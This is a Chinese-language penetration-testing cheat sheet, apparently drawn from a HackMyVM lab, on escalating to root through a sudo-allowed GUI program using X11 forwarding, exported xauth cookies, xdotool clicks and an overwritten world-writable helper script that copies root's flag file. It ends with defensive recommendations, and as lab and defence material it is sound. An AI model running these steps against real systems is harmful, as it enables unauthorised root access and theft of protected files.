sudo GUI 程序、X11 转发与辅助脚本提权
有些 sudo 白名单不是命令行工具,而是 GUI 程序。只看 sudo -l 时这类入口容易被忽略,但如果 sudo 保留了 X11 相关环境变量,普通用户可能通过 ssh -X 把 root GUI 程序跑起来,并触发隐藏功能、菜单动作或辅助脚本。
判断条件
| 证据 | 价值 |
|---|---|
sudo -l 允许运行 GUI 程序 | 例如 PyQt、Tk、GTK 程序 |
env_keep+=XAUTHORITY | sudo 后仍可访问 X11 cookie |
程序提示缺少 DISPLAY | 说明它依赖图形环境 |
| helper script 全局可写 | GUI 事件可能以 root 调用该脚本 |
.hint、UI 文案或状态栏提示 | 指向隐藏点击、调试模式或快捷键 |
基础检查
sudo -l
echo "$DISPLAY"
echo "$XAUTHORITY"
如果直接运行 GUI 程序报错:
sudo /path/to/app.py 2>&1
类似输出说明需要图形环境:
Error: X11 DISPLAY not found.
X11 转发运行
从攻击机连接目标:
ssh -X user@target
如果 sudo 后无法读取 X11 cookie,可以先导出 cookie 到目标上的临时文件:
xauth extract /tmp/xauth_cookie "$DISPLAY" 2>/dev/null
chmod 644 /tmp/xauth_cookie
XAUTHORITY=/tmp/xauth_cookie DISPLAY="$DISPLAY" sudo /path/to/app.py
xdotool 自动化
攻击机安装:
sudo apt install -y xdotool
定位窗口:
WID=$(xdotool search --name "Window Title" | head -1)
eval "$(xdotool getwindowgeometry --shell "$WID")"
点击和输入:
xdotool mousemove $((X + WIDTH / 2)) $((Y + HEIGHT / 2)) click 1
xdotool type --window "$WID" --delay 2 "text to type"
点击状态栏或隐藏区域:
STAT_X=$((X + WIDTH / 2))
STAT_Y=$((Y + HEIGHT - 12))
for i in $(seq 1 15); do
xdotool mousemove "$STAT_X" "$STAT_Y" click 1
sleep 0.06
done
helper script 利用
如果发现 GUI 程序会调用一个全局可写脚本,优先写最小验证 payload:
cat > /usr/local/bin/helper.sh << 'EOF'
#!/bin/sh
id > /tmp/helper_id.txt
cp /root/root.txt /tmp/root_flag.txt
chmod 644 /tmp/root_flag.txt
EOF
chmod 777 /usr/local/bin/helper.sh
确认 root 执行后再考虑是否需要 SUID shell:
cat /tmp/helper_id.txt
cat /tmp/root_flag.txt
防坑点
- GUI 程序可能需要真实 X server,纯 TTY 中不会触发逻辑。
ssh -X比ssh -Y限制更多,必要时可尝试ssh -Y。- 自动化点击要根据窗口位置计算坐标,不要硬编码绝对坐标。
- 不要在真实环境中追加 sudoers 或创建 SUID shell;靶场中也应记录这一步会改变系统状态。
防御建议
- sudo 白名单避免直接授权 GUI 程序以 root 运行。
- 不要在 sudo 中保留不必要的 X11 环境变量。
- helper script 必须 root 拥有且不可被普通用户写入。
- GUI 程序中的 Debug Mode、隐藏菜单、测试入口不应调用高权限系统命令。
- 对 root 程序调用的外部脚本使用绝对路径、严格权限和最小功能。
来源案例
- HackMyVM Type:
plugugly可 sudo 运行/root/typer.py,结合 X11 转发、xdotool自动化和全局可写cleanup_scores.sh触发 root 执行 payload。